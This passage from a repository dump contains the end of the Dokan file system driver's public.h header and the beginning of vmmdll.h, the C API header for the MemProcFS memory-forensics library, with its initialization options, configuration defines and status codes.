GenerateOnClose;\n  BOOLEAN AuditPrivileges;\n  ULONG Flags;\n  ACCESS_MASK RemainingDesiredAccess;\n  ACCESS_MASK PreviouslyGrantedAccess;\n  ACCESS_MASK OriginalDesiredAccess;\n  PSECURITY_DESCRIPTOR SecurityDescriptor;\n  UNICODE_STRING ObjectName;\n  UNICODE_STRING ObjectType;\n} DOKAN_ACCESS_STATE, *PDOKAN_ACCESS_STATE;\n\n/*\n * This structure is used for copying IO_SECURITY_CONTEXT from the kernel mode\n * driver into the user mode driver.\n * https://msdn.microsoft.com/en-us/library/windows/hardware/ff550613(v=vs.85).aspx\n */\ntypedef struct _DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE {\n  DOKAN_ACCESS_STATE_INTERMEDIATE AccessState;\n  ACCESS_MASK DesiredAccess;\n} DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE,\n    *PDOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE;\n\ntypedef struct _DOKAN_IO_SECURITY_CONTEXT {\n  DOKAN_ACCESS_STATE AccessState;\n  ACCESS_MASK DesiredAccess;\n} DOKAN_IO_SECURITY_CONTEXT, *PDOKAN_IO_SECURITY_CONTEXT;\n\ntypedef struct _CREATE_CONTEXT {\n  DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE SecurityContext;\n  ULONG FileAttributes;\n  ULONG CreateOptions;\n  ULONG ShareAccess;\n  ULONG FileNameLength;\n\n  // Offset from the beginning of this structure to the string\n  ULONG FileNameOffset;\n} CREATE_CONTEXT, *PCREATE_CONTEXT;\n\ntypedef struct _CLEANUP_CONTEXT {\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n\n} CLEANUP_CONTEXT, *PCLEANUP_CONTEXT;\n\ntypedef struct _CLOSE_CONTEXT {\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n\n} CLOSE_CONTEXT, *PCLOSE_CONTEXT;\n\ntypedef struct _DIRECTORY_CONTEXT {\n  ULONG FileInformationClass;\n  ULONG FileIndex;\n  ULONG BufferLength;\n  ULONG DirectoryNameLength;\n  ULONG SearchPatternLength;\n  ULONG SearchPatternOffset;\n  WCHAR DirectoryName[1];\n  WCHAR SearchPatternBase[1];\n\n} DIRECTORY_CONTEXT, *PDIRECTORY_CONTEXT;\n\ntypedef struct _READ_CONTEXT {\n  LARGE_INTEGER ByteOffset;\n  ULONG BufferLength;\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} READ_CONTEXT, *PREAD_CONTEXT;\n\ntypedef struct _WRITE_CONTEXT {\n  LARGE_INTEGER ByteOffset;\n  ULONG BufferLength;\n  ULONG BufferOffset;\n  ULONG RequestLength;\n  ULONG FileNameLength;\n  WCHAR FileName[2];\n  // \"2\" means to keep last null of contents to write\n} WRITE_CONTEXT, *PWRITE_CONTEXT;\n\ntypedef struct _FILEINFO_CONTEXT {\n  ULONG FileInformationClass;\n  ULONG BufferLength;\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} FILEINFO_CONTEXT, *PFILEINFO_CONTEXT;\n\ntypedef struct _SETFILE_CONTEXT {\n  ULONG FileInformationClass;\n  ULONG BufferLength;\n  ULONG BufferOffset;\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} SETFILE_CONTEXT, *PSETFILE_CONTEXT;\n\ntypedef struct _VOLUME_CONTEXT {\n  ULONG FsInformationClass;\n  ULONG BufferLength;\n} VOLUME_CONTEXT, *PVOLUME_CONTEXT;\n\ntypedef struct _LOCK_CONTEXT {\n  LARGE_INTEGER ByteOffset;\n  LARGE_INTEGER Length;\n  ULONG Key;\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} LOCK_CONTEXT, *PLOCK_CONTEXT;\n\ntypedef struct _FLUSH_CONTEXT {\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} FLUSH_CONTEXT, *PFLUSH_CONTEXT;\n\ntypedef struct _UNMOUNT_CONTEXT {\n  WCHAR DeviceName[64];\n  ULONG Option;\n} UNMOUNT_CONTEXT, *PUNMOUNT_CONTEXT;\n\ntypedef struct _SECURITY_CONTEXT {\n  SECURITY_INFORMATION SecurityInformation;\n  ULONG BufferLength;\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} SECURITY_CONTEXT, *PSECURITY_CONTEXT;\n\ntypedef struct _SET_SECURITY_CONTEXT {\n  SECURITY_INFORMATION SecurityInformation;\n  ULONG BufferLength;\n  ULONG BufferOffset;\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} SET_SECURITY_CONTEXT, *PSET_SECURITY_CONTEXT;\n\ntypedef struct _EVENT_CONTEXT {\n  ULONG Length;\n  ULONG MountId;\n  ULONG SerialNumber;\n  ULONG ProcessId;\n  UCHAR MajorFunction;\n  UCHAR MinorFunction;\n  ULONG Flags;\n  ULONG FileFlags;\n  ULONG64 Context;\n  union {\n    DIRECTORY_CONTEXT Directory;\n    READ_CONTEXT Read;\n    WRITE_CONTEXT Write;\n    FILEINFO_CONTEXT File;\n    CREATE_CONTEXT Create;\n    CLOSE_CONTEXT Close;\n    SETFILE_CONTEXT SetFile;\n    CLEANUP_CONTEXT Cleanup;\n    LOCK_CONTEXT Lock;\n    VOLUME_CONTEXT Volume;\n    FLUSH_CONTEXT Flush;\n    UNMOUNT_CONTEXT Unmount;\n    SECURITY_CONTEXT Security;\n    SET_SECURITY_CONTEXT SetSecurity;\n  } Operation;\n} EVENT_CONTEXT, *PEVENT_CONTEXT;\n\n// The output from IOCTL_GET_VOLUME_METRICS.\ntypedef struct _VOLUME_METRICS {\n  ULONG64 NormalFcbGarbageCollectionCycles;\n  // A \"cycle\" can consist of multiple \"passes\".\n  ULONG64 NormalFcbGarbageCollectionPasses;\n  ULONG64 ForcedFcbGarbageCollectionPasses;\n  ULONG64 FcbAllocations;\n  ULONG64 FcbDeletions;\n  // A \"cancellation\" is when a single FCB's garbage collection gets canceled.\n  ULONG64 FcbGarbageCollectionCancellations;\n  // Number of IRPs with a too large buffer that could not be registered for\n  // being forward to userland.\n  ULONG64 LargeIRPRegistrationCanceled;\n} VOLUME_METRICS, *PVOLUME_METRICS;\n\n#define WRITE_MAX_SIZE                                                         \\\n  (EVENT_CONTEXT_MAX_SIZE - sizeof(EVENT_CONTEXT) - 256 * sizeof(WCHAR))\n\n#define DOKAN_EVENT_INFO_MIN_BUFFER_SIZE 8\n#define DOKAN_EVENT_INFO_DEFAULT_BUFFER_SIZE (1024 * 4)\n\ntypedef struct _EVENT_INFORMATION {\n  ULONG SerialNumber;\n  NTSTATUS Status;\n  ULONG Flags;\n  union {\n    struct {\n      ULONG Index;\n    } Directory;\n    struct {\n      ULONG Flags;\n      ULONG Information;\n    } Create;\n    struct {\n      LARGE_INTEGER CurrentByteOffset;\n    } Read;\n    struct {\n      LARGE_INTEGER CurrentByteOffset;\n    } Write;\n    struct {\n      UCHAR DeleteOnClose;\n    } Delete;\n    struct {\n      ULONG Timeout;\n    } ResetTimeout;\n    struct {\n      HANDLE Handle;\n    } AccessToken;\n  } Operation;\n  ULONG64 Context;\n  ULONG BufferLength;\n  ULONG PullEventTimeoutMs;\n  UCHAR Buffer[DOKAN_EVENT_INFO_MIN_BUFFER_SIZE];\n} EVENT_INFORMATION, *PEVENT_INFORMATION;\n\n// By default we pool EVENT_INFORMATION objects with a 4k buffer (1 page) as most read/writes are this size\n// or smaller\n#define DOKAN_EVENT_INFO_DEFAULT_SIZE                                          \\\n  (FIELD_OFFSET(EVENT_INFORMATION, Buffer) +                                   \\\n   DOKAN_EVENT_INFO_DEFAULT_BUFFER_SIZE)\n\n// Dokan mount options\n#define DOKAN_EVENT_ALTERNATIVE_STREAM_ON                           1\n#define DOKAN_EVENT_WRITE_PROTECT                                   (1 << 1)\n#define DOKAN_EVENT_REMOVABLE                                       (1 << 2)\n#define DOKAN_EVENT_MOUNT_MANAGER                                   (1 << 3)\n#define DOKAN_EVENT_CURRENT_SESSION                                 (1 << 4)\n#define DOKAN_EVENT_FILELOCK_USER_MODE                              (1 << 5)\n// CaseSenitive FileName: NTFS can look to be case-insensitive\n// but in some situation it can also be case-sensitive :\n// * NTFS keep the filename casing used during Create internally.\n// * Open \"MyFile\" on NTFS can open \"MYFILE\" if it exists.\n// * FILE_FLAG_POSIX_SEMANTICS (IRP_MJ_CREATE: SL_CASE_SENSITIVE)\n//   can be used during Create to make the lookup case-sensitive.\n// * Since Win10, NTFS can have specific directories\n//   case-sensitive / insensitive, even if the device tags says otherwise.\n// Dokan choose to support case-sensitive or case-insensitive filesystem\n// but not those NTFS specific scenarios.\n#define DOKAN_EVENT_CASE_SENSITIVE                                  (1 << 6)\n// Enables unmounting of network drives via file explorer\n#define DOKAN_EVENT_ENABLE_NETWORK_UNMOUNT                          (1 << 7)\n#define DOKAN_EVENT_DISPATCH_DRIVER_LOGS                            (1 << 8)\n#define DOKAN_EVENT_ALLOW_IPC_BATCHING                              (1 << 9)\n#define DOKAN_EVENT_DRIVE_LETTER_IN_USE                             (1 << 10)\n\n// Non-exclusive bits that can be set in EVENT_DRIVER_INFO.Flags for the driver\n// to send back extra info about what happened during a mount attempt, whether\n// or not it succeeded.\n\n// The volume arrival notification did not trigger mounting as expected, so an\n// explicit request was made to the mount manager.\n#define DOKAN_DRIVER_INFO_MOUNT_FORCED 1\n\n// Dokan did not specify a preferred drive letter in response to the suggested\n// link name query from the mount manager. This happens if we know the preferred\n// drive letter is in use, and want the mount manager to select one.\n#define DOKAN_DRIVER_INFO_AUTO_ASSIGN_REQUESTED 2\n\n// Dokan unmounted and then reused the preferred drive letter, because it was\n// determined to be another dokan drive owned by the same Windows user.\n#define DOKAN_DRIVER_INFO_OLD_DRIVE_UNMOUNTED 4\n\n// Dokan determined that the preferred drive letter was in use by a dokan drive\n// owned by a different Windows user. If this is set, then\n// DOKAN_DRIVER_INFO_AUTO_ASSIGNED is also set.\n#define DOKAN_DRIVER_INFO_OLD_DRIVE_LEFT_MOUNTED 8\n\n// The dokan driver is returning a mount response to the DLL before the mount\n// manager has actually assigned a drive letter. We are not sure if this ever\n// happens; if so, it should be very rare.\n#define DOKAN_DRIVER_INFO_NO_MOUNT_POINT_ASSIGNED 16\n\n// Dokan failed to set the reparse point for the mount point folder provided.\n#define DOKAN_DRIVER_INFO_SET_REPARSE_POINT_FAILED 32\n\ntypedef struct _EVENT_DRIVER_INFO {\n  ULONG DriverVersion;\n  ULONG Status;\n  ULONG Flags;\n  ULONG DeviceNumber;\n  ULONG MountId;\n  WCHAR DeviceName[64];\n  WCHAR ActualDriveLetter;\n} EVENT_DRIVER_INFO, *PEVENT_DRIVER_INFO;\n\ntypedef struct _EVENT_START {\n  ULONG UserVersion;\n  ULONG DeviceType;\n  ULONG Flags;\n  WCHAR MountPoint[260];\n  WCHAR UNCName[64];\n  ULONG IrpTimeout;\n  ULONG FcbGarbageCollectionIntervalMs;\n  ULONG VolumeSecurityDescriptorLength;\n  CHAR VolumeSecurityDescriptor[VOLUME_SECURITY_DESCRIPTOR_MAX_SIZE];\n} EVENT_START, *PEVENT_START;\n\n#ifdef _MSC_VER\n#pragma warning(push)\n#pragma warning(disable : 4201)\n#endif\ntypedef struct _DOKAN_RENAME_INFORMATION {\n#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)\n\tunion {\n\t\tBOOLEAN ReplaceIfExists;  // FileRenameInformation\n\t\tULONG Flags;              // FileRenameInformationEx\n\t} DUMMYUNIONNAME;\n#else\n\tBOOLEAN ReplaceIfExists;\n#endif\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} DOKAN_RENAME_INFORMATION, *PDOKAN_RENAME_INFORMATION;\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\ntypedef struct _DOKAN_LINK_INFORMATION {\n  BOOLEAN ReplaceIfExists;\n  ULONG FileNameLength;\n  WCHAR FileName[1];\n} DOKAN_LINK_INFORMATION, *PDOKAN_LINK_INFORMATION;\n\n/**\n* \\struct DOKAN_MOUNT_POINT_INFO\n* \\brief Dokan Mount point information\n*/\ntypedef struct _DOKAN_MOUNT_POINT_INFO {\n  /** File System Type */\n  ULONG Type;\n  /** Mount point. Can be \"M:\\\" (drive letter) or \"C:\\mount\\dokan\" (path in NTFS) */\n  WCHAR MountPoint[MAX_PATH];\n  /** UNC name used for network volume */\n  WCHAR UNCName[64];\n  /** Disk Device Name */\n  WCHAR DeviceName[64];\n  /** Session ID of calling process */\n  ULONG SessionId;\n  /** Contains information about the flags on the mount */\n  ULONG MountOptions;\n} DOKAN_MOUNT_POINT_INFO, *PDOKAN_MOUNT_POINT_INFO;\n\n// Dokan Major IRP values dispatched to userland for custom request with\n// EVENT_CONTEXT.\n#define DOKAN_IRP_LOG_MESSAGE 0x20\n\n// Driver log message disptached during DOKAN_IRP_LOG_MESSAGE event.\ntypedef struct _DOKAN_LOG_MESSAGE {\n  ULONG MessageLength;\n  CHAR Message[1];\n} DOKAN_LOG_MESSAGE, *PDOKAN_LOG_MESSAGE;\n\n#endif // PUBLIC_H_\n"
  },
  {
    "path": "includes/vmmdll.h",
    "content": "// vmmdll.h : header file to include in projects that use vmm.dll / vmm.so\n// \n// Please also consult the guide at: https://github.com/ufrisk/MemProcFS/wiki\n// \n// U/W functions\n// =============\n// Windows may access both UTF-8 *U and Wide-Char *W versions of functions\n// while Linux may only access UTF-8 versions. Some functionality may also\n// be degraded or unavailable on Linux.\n//\n// (c) Ulf Frisk, 2018-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// Header Version: 5.16.5\n//\n\n#include \"leechcore.h\"\n\n#ifndef __VMMDLL_H__\n#define __VMMDLL_H__\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\n\n#ifdef _WIN32\n\n#include <Windows.h>\n#undef EXPORTED_FUNCTION\n#define EXPORTED_FUNCTION\ntypedef unsigned __int64                    QWORD, *PQWORD;\n\n#endif /* _WIN32 */\n#if defined(LINUX) || defined(MACOS)\n\n#include <inttypes.h>\n#include <stdarg.h>\n#include <stdlib.h>\n#undef EXPORTED_FUNCTION\n#define EXPORTED_FUNCTION                   __attribute__((visibility(\"default\")))\ntypedef void                                VOID, *PVOID, *HANDLE, **PHANDLE, *HMODULE;\ntypedef long long unsigned int              QWORD, *PQWORD, ULONG64, *PULONG64;\ntypedef size_t                              SIZE_T, *PSIZE_T;\ntypedef uint64_t                            FILETIME, *PFILETIME;\ntypedef uint32_t                            DWORD, *PDWORD, *LPDWORD, BOOL, *PBOOL, NTSTATUS;\ntypedef uint16_t                            WORD, *PWORD;\ntypedef uint8_t                             BYTE, *PBYTE, *LPBYTE, UCHAR;\ntypedef char                                CHAR, *PCHAR, *LPSTR;\ntypedef const char                          *LPCSTR;\ntypedef uint16_t                            WCHAR, *PWCHAR, *LPWSTR;\ntypedef const uint16_t                      *LPCWSTR;\n#define MAX_PATH                            260\n#define _In_\n#define _In_z_\n#define _In_opt_\n#define _In_reads_(x)\n#define _In_reads_bytes_(x)\n#define _In_reads_opt_(x)\n#define _Inout_\n#define _Inout_bytecount_(x)\n#define _Inout_opt_\n#define _Inout_updates_opt_(x)\n#define _Out_\n#define _Out_opt_\n#define _Out_writes_(x)\n#define _Out_writes_bytes_opt_(x)\n#define _Out_writes_opt_(x)\n#define _Out_writes_to_(x,y)\n#define _When_(x,y)\n#define _Frees_ptr_opt_\n#define _Post_ptr_invalid_\n#define _Check_return_opt_\n#define _Printf_format_string_\n#define _Success_(x)\n\n#endif /* LINUX || MACOS */\n\ntypedef struct tdVMM_HANDLE     *VMM_HANDLE;\ntypedef struct tdVMMVM_HANDLE   *VMMVM_HANDLE;\ntypedef BYTE                    OPAQUE_OB_HEADER[0x40];\n\n\n\n//-----------------------------------------------------------------------------\n// INITIALIZATION FUNCTIONALITY BELOW:\n// Choose one way of initializing the VMM / MemProcFS.\n//-----------------------------------------------------------------------------\n\n/*\n* Initialize VMM.DLL with command line parameters. For a more detailed info\n* about the parameters please see github wiki for MemProcFS and LeechCore.\n* NB! LeechCore initialization parameters are _also_ valid to this function.\n* Important parameters are:\n*    -printf = show printf style outputs.\n*    -v -vv -vvv = extra verbosity levels.\n*    -device = device as on format for LeechCore - please see leechcore.h or\n*              Github documentation for additional information. Some values\n*              are: <file>, fpga, usb3380, hvsavedstate, totalmeltdown, pmem\n*    -remote = remote LeechCore instance - please see leechcore.h or Github\n*              documentation for additional information.\n*    -norefresh = disable background refreshes (even if backing memory is\n*              volatile memory).\n*    -memmap = specify a physical memory map given by file or specify 'auto'.\n*              example: -memmap c:\\\\temp\\\\my_custom_memory_map.txt\n*              example: -memmap auto\n*    -pagefile[0-9] = page file(s) to use in addition to physical memory.\n*              Normally pagefile.sys have index 0 and swapfile.sys index 1.\n*              Page files are in constant flux - do not use if time diff\n*              between memory dump and page files are more than few minutes.\n*              Example: 'pagefile0 swapfile.sys'\n*    -disable-python = prevent the python plugin sub-system from loading.\n*    -disable-symbolserver = disable symbol server until user change.\n*              This parameter will take precedence over registry settings.\n*    -disable-symbols = disable symbol lookups from .pdb files.\n*    -disable-infodb = disable the infodb and any symbol lookups via it.\n*    -waitinitialize = Wait for initialization to complete before returning.\n*              Normal use is that some initialization is done asynchronously\n*              and may not be completed when initialization call is completed.\n*              This includes virtual memory compression, registry and more.\n*              Example: '-waitinitialize'\n*    -userinteract = allow vmm.dll to, on the console, query the user for\n*              information such as, but not limited to, leechcore device options.\n*              Default: user interaction = disabled.\n*    -vm       = virtual machine (VM) parsing.\n*    -vm-basic = virtual machine (VM) parsing (physical memory only).\n*    -vm-nested = virtual machine (VM) parsing (including nested VMs).\n*    -forensic-yara-rules = perfom a forensic yara scan with specified rules.\n*              Full path to source or compiled yara rules should be specified.\n*              Example: -forensic-yara-rules \"C:\\Temp\\my_yara_rules.yar\"\n*    -forensic = start a forensic scan of the physical memory immediately after\n*              startup if possible. Allowed parameter values range from 0-4.\n*              Note! forensic mode is not available for live memory.\n*              1 = forensic mode with in-memory sqlite database.\n*              2 = forensic mode with temp sqlite database deleted upon exit.\n*              3 = forensic mode with temp sqlite database remaining upon exit.\n*              4 = forensic mode with static named sqlite database (vmm.sqlite3).\n*              Example -forensic 4\n*\n* -- argc\n* -- argv\n* -- ppLcErrorInfo = optional pointer to receive a function allocated memory of\n*              struct LC_CONFIG_ERRORINFO with extended error information upon\n*              failure. Any memory received should be free'd by caller by\n*              calling LcMemFree().\n* -- return = VMM_HANDLE on success for usage in subsequent API calls. NULL=fail.\n*/\nEXPORTED_FUNCTION _Success_(return != NULL)\nVMM_HANDLE VMMDLL_Initialize(_In_ DWORD argc, _In_ LPCSTR argv[]);\n\nEXPORTED_FUNCTION _Success_(return != NULL)\nVMM_HANDLE VMMDLL_InitializeEx(_In_ DWORD argc, _In_ LPCSTR argv[], _Out_opt_ PPLC_CONFIG_ERRORINFO ppLcErrorInfo);\n\n/*\n* Close an instantiated version of VMM_HANDLE and free up any resources.\n* -- hVMM\n*/\nEXPORTED_FUNCTION\nVOID VMMDLL_Close(_In_opt_ _Post_ptr_invalid_ VMM_HANDLE hVMM);\n\n/*\n* Close all instantiated versions of VMM_HANDLE and free up all resources.\n*/\nEXPORTED_FUNCTION\nVOID VMMDLL_CloseAll();\n\n/*\n* Query the size of memory allocated by the VMMDLL.\n* -- pvMem\n* -- return = number of bytes required to hold memory allocation.\n*/\nEXPORTED_FUNCTION _Success_(return != 0)\nSIZE_T VMMDLL_MemSize(_In_ PVOID pvMem);\n\n/*\n* Free memory allocated by the VMMDLL.\n* -- pvMem\n*/\nEXPORTED_FUNCTION\nVOID VMMDLL_MemFree(_Frees_ptr_opt_ PVOID pvMem);\n\n\n\n//-----------------------------------------------------------------------------\n// CONFIGURATION SETTINGS BELOW:\n// Configure MemProcFS or the underlying memory\n// acquisition devices.\n//-----------------------------------------------------------------------------\n\n/*\n* Options used together with the functions: VMMDLL_ConfigGet & VMMDLL_ConfigSet\n* Options are defined with either: VMMDLL_OPT_* in this header file or as\n* LC_OPT_* in leechcore.h\n* For more detailed information check the sources for individual device types.\n*/\n#define VMMDLL_OPT_CORE_PRINTF_ENABLE                   0x4000000100000000  // RW\n#define VMMDLL_OPT_CORE_VERBOSE                         0x4000000200000000  // RW\n#define VMMDLL_OPT_CORE_VERBOSE_EXTRA                   0x4000000300000000  // RW\n#define VMMDLL_OPT_CORE_VERBOSE_EXTRA_TLP               0x4000000400000000  // RW\n#define VMMDLL_OPT_CORE_MAX_NATIVE_ADDRESS              0x4000000800000000  // R\n#define VMMDLL_OPT_CORE_LEECHCORE_HANDLE                0x4000001000000000  // R - underlying leechcore handle (do not close).\n#define VMMDLL_OPT_CORE_VMM_ID                          0x4000002000000000  // R - use with startup option '-create-from-vmmid' to create a thread-safe duplicate VMM instance.\n\n#define VMMDLL_OPT_CORE_SYSTEM                          0x2000000100000000  // R\n#define VMMDLL_OPT_CORE_MEMORYMODEL                     0x2000000200000000  // R\n\n#define VMMDLL_OPT_CONFIG_IS_REFRESH_ENABLED            0x2000000300000000  // R - 1/0\n#define VMMDLL_OPT_CONFIG_TICK_PERIOD                   0x2000000400000000  // RW - base tick period in ms\n#define VMMDLL_OPT_CONFIG_READCACHE_TICKS               0x2000000500000000  // RW - memory cache validity period (in ticks)\n#define VMMDLL_OPT_CONFIG_TLBCACHE_TICKS                0x2000000600000000  // RW - page table (tlb) cache validity period (in ticks)\n#define VMMDLL_OPT_CONFIG_PROCCACHE_TICKS_PARTIAL       0x2000000700000000  // RW - process refresh (partial) period (in ticks)\n#define VMMDLL_OPT_CONFIG_PROCCACHE_TICKS_TOTAL         0x2000000800000000  // RW - process refresh (full) period (in ticks)\n#define VMMDLL_OPT_CONFIG_VMM_VERSION_MAJOR             0x2000000900000000  // R\n#define VMMDLL_OPT_CONFIG_VMM_VERSION_MINOR             0x2000000A00000000  // R\n#define VMMDLL_OPT_CONFIG_VMM_VERSION_REVISION          0x2000000B00000000  // R\n#define VMMDLL_OPT_CONFIG_STATISTICS_FUNCTIONCALL       0x2000000C00000000  // RW - enable function call statistics (.status/statistics_fncall file)\n#define VMMDLL_OPT_CONFIG_IS_PAGING_ENABLED             0x2000000D00000000  // RW - 1/0\n#define VMMDLL_OPT_CONFIG_DEBUG                         0x2000000E00000000  // W\n#define VMMDLL_OPT_CONFIG_YARA_RULES                    0x2000000F00000000  // R\n\n#define VMMDLL_OPT_WIN_VERSION_MAJOR                    0x2000010100000000  // R\n#define VMMDLL_OPT_WIN_VERSION_MINOR                    0x2000010200000000  // R\n#define VMMDLL_OPT_WIN_VERSION_BUILD                    0x2000010300000000  // R\n#define VMMDLL_OPT_WIN_SYSTEM_UNIQUE_ID                 0x2000010400000000  // R\n\n#define VMMDLL_OPT_FORENSIC_MODE                        0x2000020100000000  // RW - enable/retrieve forensic mode type [0-4].\n\n// REFRESH OPTIONS:\n#define VMMDLL_OPT_REFRESH_ALL                          0x2001ffff00000000  // W - refresh all caches\n#define VMMDLL_OPT_REFRESH_FREQ_MEM                     0x2001100000000000  // W - refresh memory cache (excl. TLB) [fully]\n#define VMMDLL_OPT_REFRESH_FREQ_MEM_PARTIAL             0x2001000200000000  // W - refresh memory cache (excl. TLB) [partial 33%/call]\n#define VMMDLL_OPT_REFRESH_FREQ_TLB                     0x2001080000000000  // W - refresh page table (TLB) cache [fully]\n#define VMMDLL_OPT_REFRESH_FREQ_TLB_PARTIAL             0x2001000400000000  // W - refresh page table (TLB) cache [partial 33%/call]\n#define VMMDLL_OPT_REFRESH_FREQ_FAST                    0x2001040000000000  // W - refresh fast frequency - incl. partial process refresh\n#define VMMDLL_OPT_REFRESH_FREQ_MEDIUM                  0x2001000100000000  // W - refresh medium frequency - incl. full process refresh\n#define VMMDLL_OPT_REFRESH_FREQ_SLOW                    0x2001001000000000  // W - refresh slow frequency.\n\n#define VMMDLL_OPT_REFRESH_SPECIFIC_HEAP_ALLOC          0x2003000100000000  // W - refresh only heap allocations.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_KOBJECT             0x2003000200000000  // W - refresh only kernel objects.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_NET                 0x2003000300000000  // W - refresh only network connections.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_PFN                 0x2003000400000000  // W - refresh only pfn database.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_PHYSMEMMAP          0x2003000500000000  // W - refresh only physical memory map.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_POOL                0x2003000600000000  // W - refresh only kernel pool.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_REGISTRY            0x2003000700000000  // W - refresh only registry.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_SERVICES            0x2003000800000000  // W - refresh only services.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_THREADCS            0x2003000900000000  // W - refresh only thread callstacks.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_USER                0x2003000A00000000  // W - refresh only users.\n#define VMMDLL_OPT_REFRESH_SPECIFIC_VM                  0x2003000B00000000  // W - refresh only virtual machines.\n\n#define VMMDLL_OPT_REFRESH_SPECIFIC_PROCESS             0x2002000300000000  // W - refresh only the specified process [LO-DWORD: Process PID]\n\n// PROCESS OPTIONS: [LO-DWORD: Process PID]\n#define VMMDLL_OPT_PROCESS_DTB                          0x2002000100000000  // W - force set process directory table base.\n#define VMMDLL_OPT_PROCESS_DTB_FAST_LOWINTEGRITY        0x2002000200000000  // W - force set process directory table base (fast, low integrity mode, with less checks) - use at own risk!.\n\nstatic LPCSTR VMMDLL_MEMORYMODEL_TOSTRING[5] = { \"N/A\", \"X86\", \"X86PAE\", \"X64\", \"ARM64\" };\n\ntypedef enum tdVMMDLL_MEMORYMODEL_TP {\n    VMMDLL_MEMORYMODEL_NA       = 0,\n    VMMDLL_MEMORYMODEL_X86      = 1,\n    VMMDLL_MEMORYMODEL_X86PAE   = 2,\n    VMMDLL_MEMORYMODEL_X64      = 3,\n    VMMDLL_MEMORYMODEL_ARM64    = 4,\n} VMMDLL_MEMORYMODEL_TP;\n\ntypedef enum tdVMMDLL_SYSTEM_TP {\n    VMMDLL_SYSTEM_UNKNOWN_PHYSICAL = 0,\n    VMMDLL_SYSTEM_UNKNOWN_64    = 1,\n    VMMDLL_SYSTEM_WINDOWS_64    = 2,\n    VMMDLL_SYSTEM_UNKNOWN_32    = 3,\n    VMMDLL_SYSTEM_WINDOWS_32    = 4,\n    VMMDLL_SYSTEM_UNKNOWN_X64   = 1,    // deprecated - do not use!\n    VMMDLL_SYSTEM_WINDOWS_X64   = 2,    // deprecated - do not use!\n    VMMDLL_SYSTEM_UNKNOWN_X86   = 3,    // deprecated - do not use!\n    VMMDLL_SYSTEM_WINDOWS_X86   = 4     // deprecated - do not use!\n} VMMDLL_SYSTEM_TP;\n\n/*\n* Get a device specific option value. Please see defines VMMDLL_OPT_* for infor-\n* mation about valid option values. Please note that option values may overlap\n* between different device types with different meanings.\n* -- hVMM\n* -- fOption\n* -- pqwValue = pointer to ULONG64 to receive option value.\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_ConfigGet(_In_ VMM_HANDLE hVMM, _In_ ULONG64 fOption, _Out_ PULONG64 pqwValue);\n\n/*\n* Set a device specific option value. Please see defines VMMDLL_OPT_* for infor-\n* mation about valid option values. Please note that option values may overlap\n* between different device types with different meanings.\n* -- hVMM\n* -- fOption\n* -- qwValue\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_ConfigSet(_In_ VMM_HANDLE hVMM, _In_ ULONG64 fOption, _In_ ULONG64 qwValue);\n\n\n\n//-----------------------------------------------------------------------------\n// FORWARD DECLARATIONS:\n//-----------------------------------------------------------------------------\n\ntypedef struct tdVMMDLL_MAP_PFN *PVMMDLL_MAP_PFN;\n\n\n\n//-----------------------------------------------------------------------------\n// LINUX SPECIFIC DEFINES:\n//-----------------------------------------------------------------------------\n#if defined(LINUX) || defined(MACOS)\n\n#define IMAGE_SIZEOF_SHORT_NAME              8\n\ntypedef struct _IMAGE_DATA_DIRECTORY {\n    DWORD   VirtualAddress;\n    DWORD   Size;\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n\ntypedef struct _IMAGE_SECTION_HEADER {\n    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];\n    union {\n        DWORD   PhysicalAddress;\n        DWORD   VirtualSize;\n    } Misc;\n    DWORD   VirtualAddress;\n    DWORD   SizeOfRawData;\n    DWORD   PointerToRawData;\n    DWORD   PointerToRelocations;\n    DWORD   PointerToLinenumbers;\n    WORD    NumberOfRelocations;\n    WORD    NumberOfLinenumbers;\n    DWORD   Characteristics;\n} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;\n\ntypedef struct _SERVICE_STATUS {\n    DWORD   dwServiceType;\n    DWORD   dwCurrentState;\n    DWORD   dwControlsAccepted;\n    DWORD   dwWin32ExitCode;\n    DWORD   dwServiceSpecificExitCode;\n    DWORD   dwCheckPoint;\n    DWORD   dwWaitHint;\n} SERVICE_STATUS, *LPSERVICE_STATUS;\n#endif /* LINUX || MACOS */\n\n\n\n//-----------------------------------------------------------------------------\n// VFS - VIRTUAL FILE SYSTEM FUNCTIONALITY BELOW:\n// NB! VFS FUNCTIONALITY REQUIRES PLUGINS TO BE INITIALIZED\n//     WITH CALL TO VMMDLL_InitializePlugins().\n// This is the core of MemProcFS. All implementation and analysis towards\n// the virtual file system (vfs) is possible by using functionality below. \n//-----------------------------------------------------------------------------\n\n#define VMMDLL_STATUS_SUCCESS                       ((NTSTATUS)0x00000000L)\n#define VMMDLL_STATUS_UNSUCCESSFUL                  ((NTSTATUS)0xC0000001L)\n#define VMMDLL_STATUS_END_OF_FILE                   